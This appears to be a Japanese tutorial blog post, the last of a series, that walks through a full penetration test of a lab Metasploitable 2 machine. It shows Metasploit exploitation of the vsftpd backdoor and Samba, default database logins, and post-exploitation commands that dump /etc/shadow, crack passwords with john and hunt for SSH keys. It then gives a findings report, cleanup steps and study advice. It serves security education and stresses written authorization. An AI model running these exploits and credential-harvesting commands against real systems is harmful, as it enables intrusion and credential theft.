ハッカーの道:5部構成シリーズ
パート1:入門 → パート2:Flipperの習得 → パート3:Kaliの基礎 → パート4:エクスプロイト → パート5:完全監査
このシリーズを、ハッカーが実際に何をしているのか疑問に思いながら始めました。フードとグリーンテキストの話ではないことを学びました。体系的な問題解決です。バッジをクローンし、ネットワークをマッピングし、ハンドシェイクをキャプチャし、脆弱なマシンでシェルを取得しました。
今、すべてをまとめます。この記事では、架空のターゲットに対する完全なペネトレーションテストを案内します。すべてのフェーズ、すべての判断、すべての発見を、プロフェッショナルがやるのとまったく同じように文書化します。
シナリオ
クライアント: Initech Labs(架空の小規模テック企業)
範囲: 内部ネットワークペネトレーションテスト
目標: 脆弱性を特定し、潜在的なビジネスインパクトを実証する
あなたのターゲット: 自分のラボネットワーク(Kali + Metasploitable 2 + 設定した他のVM)
コーヒーを用意しましょう。楽しくなります。
フェーズ1:事前準備
キーボードに触れる前に、プロのペンテスターはビジネス面を処理します。これを飛ばせば、あなたはペンテスターではありません。ただ犯罪を犯している人です。
スコーピングコール
実際の契約では、クライアントと電話して以下を理解します:
- 範囲内は何か? どのネットワーク、IPレンジ、アプリケーション?
- 範囲外は何か? 本番システム?サードパーティサービス?
- テスト窓口? いつテストできるか?営業時間のみ?
- 連絡先は? 何か壊れたら誰に電話する?
- 目標は? コンプライアンスのチェックボックスか、実際のセキュリティ改善か?
ラボ用
範囲: 隔離されたラボネットワークのみ。範囲外: 地球上のそれ以外すべて。テスト窓口: いつでも。目標: 実践による学習。
エンゲージメントルール
実際の契約には書面のルールがあります:
- 認可書 - 許可を証明する署名入り文書
- エスカレーション手順 - 重大なものを発見した場合の対応
- データ取り扱い - 遭遇する機密データの処理方法
- クリーンアップ要件 - 完了時にすべてのツールとバックドアを削除
- レポート期限 - 最終レポートの提出期限
必ず書面の許可を取得しましょう
友人のネットワークでの「友好的な」テストでも同様です。「日付から日付まで私のネットワークをテストする許可があります」という署名入りメールは、学習体験と犯罪有罪判決の違いになり得ます。これを真剣に受け止めてください。
フェーズ2:偵察
ターゲットについてすべてを学ぶ時間です。実際の契約では、OSINT(オープンソースインテリジェンス)が含まれます:Google検索、LinkedInプロフィール、企業ウェブサイト、DNSレコード。ラボでは、アクティブ偵察に直接進みます。
ステップ1:ネットワーク発見
最初の質問:このネットワークには何がある?
1# ネットワーク範囲を見つける
2ip a | grep inet
3# 次のようなものを探す: inet 192.168.56.100/24
4
5# すべてのライブホストを発見
6sudo nmap -sn 192.168.56.0/24 -oA discovery
7
8# 結果(例):
9Nmap scan report for 192.168.56.1
10Host is up (0.00032s latency).
11Nmap scan report for 192.168.56.101
12Host is up (0.00089s latency).
13Nmap scan report for 192.168.56.102
14Host is up (0.00045s latency).すべてを文書化します:
1# Initech Labs - ネットワーク発見
2# 日付: 2026-03-08
3# テスター: あなたの名前
4
5192.168.56.1 - ゲートウェイ/ルーター
6192.168.56.101 - 不明(要調査)
7192.168.56.102 - 不明(要調査)ステップ2:ポートスキャン
さらに深く掘り下げます。どのサービスが動いている?
1# サービス検出付き全ポートスキャン
2sudo nmap -sV -sC -p- -oA full_scan 192.168.56.101
3
4# 学習中はより高速な結果のために:
5sudo nmap -sV -sC --top-ports 1000 -oA quick_scan 192.168.56.101Metasploitable 2では、宝の山が見えます:
1PORT STATE SERVICE VERSION
221/tcp open ftp vsftpd 2.3.4
322/tcp open ssh OpenSSH 4.7p1
423/tcp open telnet Linux telnetd
525/tcp open smtp Postfix smtpd
680/tcp open http Apache httpd 2.2.8
7139/tcp open netbios-ssn Samba smbd 3.X
8445/tcp open netbios-ssn Samba smbd 3.X
93306/tcp open mysql MySQL 5.0.51a
105432/tcp open postgresql PostgreSQL DB
11...すごい露出量です。ノートを更新しましょう:
1192.168.56.101 - Linuxサーバー (Metasploitable)
2 - FTP (21): vsftpd 2.3.4 # 既知のバックドア!
3 - SSH (22): OpenSSH 4.7p1 # 古代
4 - Telnet (23): アクティブ # 2026年になぜこれが存在する?
5 - HTTP (80): Apache 2.2.8 # テスト対象のWebアプリ
6 - SMB (139/445): Samba 3.X # 潜在的な金鉱
7 - MySQL (3306): 5.0.51a # データベースアクセス?
8 - PostgreSQL (5432): アクティブ # 別のDBステップ3:脆弱性特定
実際に何がエクスプロイト可能か見てみましょう。
1# 脆弱性スクリプトを実行
2sudo nmap --script vuln -oA vuln_scan 192.168.56.101
3
4# Metasploitで特定のサービスを確認
5msfconsole
6msf6 > search vsftpd
7msf6 > search samba 3
8msf6 > search apache 2.2vsftpd 2.3.4のバックドアがすぐに目に飛び込みます。確実なシェルです。しかし良いペンテスターは最初の発見で止まりません。すべてを文書化します。
フェーズ3:エクスプロイト
ここからが面白くなります。複数の潜在的な侵入ポイントがあります。体系的に作業しましょう。
攻撃ベクター1:FTPバックドア
1msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
2msf6 exploit(...) > set RHOSTS 192.168.56.101
3msf6 exploit(...) > exploit
4
5[*] Banner: 220 (vsFTPd 2.3.4)
6[*] USER: 331 Please specify the password.
7[+] Backdoor service has been spawned
8[+] Command shell session 1 opened
9
10whoami
11root
12
13id
14uid=0(root) gid=0(root)文書化された発見: FTPバックドア経由でrootシェルを取得。最初のスキャンから完全な侵害まで約10分。
しかしここで止まりません。他に何にアクセスできる?
攻撃ベクター2:Samba
1background
2
3msf6 > use exploit/multi/samba/usermap_script
4msf6 exploit(...) > set RHOSTS 192.168.56.101
5msf6 exploit(...) > exploit
6
7[*] Command shell session 2 opened
8
9whoami
10root別のベクターからもう一つのrootシェル。完全侵害への2つの独立した経路。
攻撃ベクター3:Webアプリケーション
ポート80で何が動いているか見ましょう。
1gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt
2
3nikto -h http://192.168.56.101デフォルト認証情報のphpMyAdmin?確認しましょう:
1Username: root
2Password: (空白)
3
4# アクセス許可!パスワードなしでデータベース管理者アクセス。ここから、すべてのデータをダンプし、レコードを変更し、MySQLのファイル操作でWebシェルを書くことができます。
攻撃ベクター4:弱いSSH認証情報
1msf6 > use auxiliary/scanner/ssh/ssh_login
2msf6 auxiliary(...) > set RHOSTS 192.168.56.101
3msf6 auxiliary(...) > set USERNAME msfadmin
4msf6 auxiliary(...) > set PASSWORD msfadmin
5msf6 auxiliary(...) > run
6
7[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'弱い認証情報でSSHアクセスを取得。rootではありませんが、ポストエクスプロイトで対処します。
フェーズ4:ポストエクスプロイト
アクセスを得ました。次は?実際のペネトレーションテストはビジネスインパクトを実証します。
認証情報の収集
1cat /etc/shadow
2cat /etc/passwd > /tmp/passwd.txt
3cat /etc/shadow > /tmp/shadow.txt
4
5unshadow passwd.txt shadow.txt > combined.txt
6john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt内部からのネットワーク偵察
1ifconfig
2route -n
3cat /etc/hosts
4arp -a
5netstat -tulpn
6find / -name "id_rsa" 2>/dev/null機密データの発見
1find / -name "*.conf" 2>/dev/null | head -20
2find / -name "*password*" 2>/dev/null
3cat /var/www/*/config.php 2>/dev/null
4
5mysql -u root -p
6mysql> SHOW DATABASES;
7mysql> SELECT * FROM mysql.user;権限昇格(msfadminから)
1ssh [email protected]
2sudo -l
3find / -perm -4000 2>/dev/null
4cat /etc/crontabフェーズ5:文書化と発見事項
レポートなしでテストは無意味です。プロフェッショナルとスクリプトキディを分けるのはこれです。
発見事項の要約
"Initech Labs"ネットワークで発見したもの:
クリティカル:FTPサービスバックドア(CVE-2011-2523)
影響を受けるシステム: 192.168.56.101
リスク: rootとしての非認証リモートコード実行
証拠: 60秒未満で完全なrootシェルを取得
推奨事項: vsftpdを直ちに更新するか、FTPサービスを完全に無効化
クリティカル:Sambaリモートコード実行
影響を受けるシステム: 192.168.56.101
推奨事項: Sambaを更新。SMBアクセスを必要なシステムのみに制限
高:パスワードなしのMySQL Rootアクセス
影響を受けるシステム: 192.168.56.101
推奨事項: 強力なrootパスワードを設定。phpMyAdminアクセスを制限
高:弱いSSH認証情報
推奨事項: 強力なパスワードポリシーを実施。SSH鍵ベース認証を実装
中:Telnetサービスが有効
推奨事項: Telnetを無効化。すべてのリモート管理にSSHを使用
低:公開されたphpinfo()ページ
推奨事項: phpinfoページを削除またはアクセスを制限
エグゼクティブサマリー
Initech Labsの内部ネットワークペネトレーションテスト中、セキュリティチームは評価開始から10分以内にメインサーバーの完全な管理制御を獲得しました。
- 即座のリモート乗っ取りを可能にする2つのクリティカルな脆弱性
- データベースとユーザー認証情報を露出する2つの高リスク問題
- 体系的なセキュリティギャップを示す複数の中低リスクの発見事項
結論: 基本的なスキルを持つ攻撃者がこのシステムを数分で完全に侵害できます。すべてのクリティカルおよび高リスクの発見事項に対する即時の修正が必要です。
フェーズ6:クリーンアップと完了
プロのペンテスターは環境を見つけたとおりに残します。
1msf6 > sessions -l
2msf6 > sessions -K
3rm /tmp/linpeas.sh
4rm /tmp/*.txt
5userdel testuser
6rm /home/*/.ssh/authorized_keys完全な方法論チェックリスト
ペネトレーションテスト方法論
- 事前準備 - 範囲とルールの定義、書面の認可取得、環境セットアップ
- 偵察 - ネットワーク発見、ポートスキャン、脆弱性スキャン、すべてを文書化
- エクスプロイト - 脆弱性の検証、確認された脆弱性の悪用、証拠のキャプチャ
- ポストエクスプロイト - 認証情報収集、機密データ特定、権限昇格
- レポート - エグゼクティブサマリー、発見事項の文書化、修正推奨事項
- クリーンアップ - ツール削除、セッション終了、変更の文書化
次のステップ:あなたの道
ハッカーの道を完了しました。「ハッキングとは何か?」から完全なペネトレーションテストの実施までたどり着きました。本当に素晴らしいことです。
しかしこれは始まりに過ぎません:
練習プラットフォーム
- Hack The Box - リアルなマシン。引退した「Easy」ボックスから始めましょう。
- TryHackMe - ガイド付き学習パス。
- VulnHub - ローカル練習用の無料脆弱VM。
- PentesterLab - Webアプリケーションセキュリティに特化。
資格(希望する場合)
- eJPT - 優れた出発点、実践的試験
- OSCP - 業界標準、厳しいが尊敬される
- PNPT - 現代的、実践的、レポート作成を含む
- CEH - 企業要件向け、実践性は低い
専門分野
- Webアプリケーションセキュリティ - OWASP, Burp Suite, SQLインジェクション, XSS
- Active Directory - ほとんどの企業環境で使用
- クラウドセキュリティ - AWS, Azure, GCPペンテスト
- モバイルセキュリティ - Android/iOSアプリテスト
- Red Teaming - 物理+デジタルの完全な敵対者シミュレーション
- リバースエンジニアリング - マルウェア分析、エクスプロイト開発
ホームラボを構築する
- Active Directory付きWindows Serverを追加
- ドメインコントローラーをセットアップ
- 脆弱なWebアプリケーションをデプロイ(DVWA, bWAPP, WebGoat)
- 複数セグメントのネットワークを構築
- 防御者の視点から攻撃を見るためにHoneyAegisを追加
ハッカーの道:完了
やりました。5つのパートすべて、好奇心から能力へ。
パート1:入門 パート2:Flipperの習得 パート3:Kaliの基礎 パート4:エクスプロイト パート5:完全監査
シリーズ完了 - あなたの旅
パート1: ハッキングの本質を学び、Flipper Zeroで最初の成果を得た
パート2: すべてのFlipperプロトコルを習得:Sub-GHz, RFID, NFC, BadUSB, GPIO
パート3: Kaliラボを構築し、nmapを学び、WiFiハンドシェイクをキャプチャした
パート4: Metasploit、エクスプロイト、権限昇格、ピボットを習得した
パート5: すべてを完全なペネトレーションテスト方法論にまとめた
セキュリティは目的地ではありません。実践です。ツールは変わり、脆弱性は進化しますが、方法論は同じです。すべてを疑問視する。すべてを文書化する。学ぶことを止めない。
反対側へようこそ。
- Lee